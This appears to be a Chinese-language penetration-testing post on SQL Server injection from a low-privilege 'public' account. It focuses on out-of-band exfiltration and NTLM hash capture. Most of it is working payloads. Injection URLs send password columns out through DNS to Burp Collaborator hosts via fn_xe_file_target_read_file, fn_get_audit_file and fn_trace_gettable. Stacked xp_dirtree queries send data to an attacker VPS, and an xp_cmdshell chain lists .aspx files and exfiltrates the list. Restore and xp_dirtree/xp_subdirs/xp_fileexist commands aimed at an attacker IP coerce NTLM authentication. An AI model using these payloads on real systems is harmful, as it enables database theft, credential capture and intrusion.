SQL SERVER 低权限带外通信及NTLM中继
public非db_owner权限下除了注入找管理员密码外，主要考虑带外通信和ntlm中继，方便打一些大型目标时候绕过cdn找到服务器真实ip段,为后续渗透提供帮助
OPENROWSET
OPENROWSET(provider\_name,provider\_string,query\_syntax)
provider\_name
An OLE DB provider name.
provider\_string
The OLE DB connection string for the specified provider.
query\_syntax
A query syntax that returns a rowset.
尝试打开一个远程数据库并执行sql查询，这个方法除了使用dns来进行带外通信外，还可以创建一个数据库将受害者的数据导入到创建好的数据库中，文章见
https://www.anquanke.com/post/id/248896#h2-24
也可以用来连接本地数据库在无法闭合的情况下执行堆叠查询，文章见
https://www.secpulse.com/archives/163638.html
该权限在2005版本以后默认关闭 ，需要执行以下命令打开Ad Hoc Distributed Queries
EXEC sp\_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp\_configure 'Ad Hoc Distributed Queries',1;
RECONFIGURE;
但是如果碰到和我我一样的低权限public用户，大概只能得到这样的结果
消息 15247，级别 16，状态 1，过程 sp\_configure，第 105 行
用户没有执行此操作的权限。
消息 5812，级别 14，状态 1，第 2 行
您没有运行 RECONFIGURE 语句的权限。
消息 15123，级别 16，状态 1，过程 sp\_configure，第 62 行
配置选项 'Ad Hoc Distributed Queries' 不存在，也可能是高级选项。
消息 5812，级别 14，状态 1，第 4 行
您没有运行 RECONFIGURE 语句的权限。
fn_xe_file_target_read_file, fn_get_audit_file, and fn_trace_gettable
fn\_xe\_file\_target\_read\_file
https://vuln.app/getItem?id\= 1+and+exists(select+\*+from+fn\_xe\_file\_target\_read\_file('C:\\\*.xel','\\\\'%2b(select+pass+from+users+where+id\=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\\1.xem',null,null))
要求：VIEW SERVER STATE权限
fn\_get\_audit\_file
https://vuln.app/getItem?id\= 1%2b(select+1+where+exists(select+\*+from+fn\_get\_audit\_file('\\\\'%2b(select+pass+from+users+where+id\=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\\',default,default)))
要求：CONTROL SERVER权限
fn\_trace\_gettable
https://vuln.app/ getItem?id\=1+and+exists(select+\*+from+fn\_trace\_gettable('\\\\'%2b(select+pass+from+users+where+id\=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\\1.trc',default))
要求:CONTROL SERVER权限
文章见：https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
Public权限下可可执行dns带外通信，需闭合语句进行堆叠注入
;DECLARE+@q+varchar(1024);SET+@q='\'%2b'vps-ip'%2b(select+top+1+passwords+from+users);EXEC+master..xp_dirtree+@q;--+
-
注释符号推荐使用单行注释符,多行注释会提示错误：遗漏结尾的注释符号
最后这种方式是要求权限最低的，也是public权限下唯一能执行的方式，如果可以开启xp_cmdshell,但无回显，可以创建临时表读结果带外带穿回来
;CREATE+TABLE+cmdtmp+(dir+varchar(8000));insert+into+cmdtmp(dir)+exec+master..xp\_cmdshell+'for+/r+c%3a\\+%25i+in+(1\*.aspx)+do+%40echo+%25i';DECLARE+@q+varchar(1024);SET+@q\='\\\\'%2b'vps-ip\\'%2b(select+dir+from+cmdtmp);EXEC+master..xp\_dirtree+@q;--+
ps.sqlserver2012 版本以后可以使用IIF()内构函数进行条件查询，同mysql中if()
IIF ( boolean\_expression, true\_value, false\_value )
boolean\_expression
A valid Boolean expression.
If this argument is not a Boolean expression, then a syntax error is raised.
true\_value
Value to return if boolean\_expression evaluates to true.
false\_value
Value to return if boolean\_expression evaluates to false.
举个栗子
1%'+and+iif(exists(select+\*+from+master.dbo.sysobjects+where+xtype='x'+and+name='xp\_cmdshell'),'1','0')+like+'%1
ps.mssql还原数据库选项指定攻击者服务器，劫持mssql账户 NTLM hash
https://github.com/p0dalirius/MSSQL-Analysis-Coerce
restore database peking from disk \= '\\\\192.168.12.30\\backup\\a.bak'
本地复现成功
换成public用户成功，先去请求服务器验证身份信息再去判断用户对数据库有没有restore权限
类似的操作还有
`xp_dirtree '\\<attacker_IP>\any\thing'``exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'``EXEC master..xp_subdirs '\\<attacker_IP>\anything\'``EXEC master..xp_fileexist '\\<attacker_IP>\anything\'`
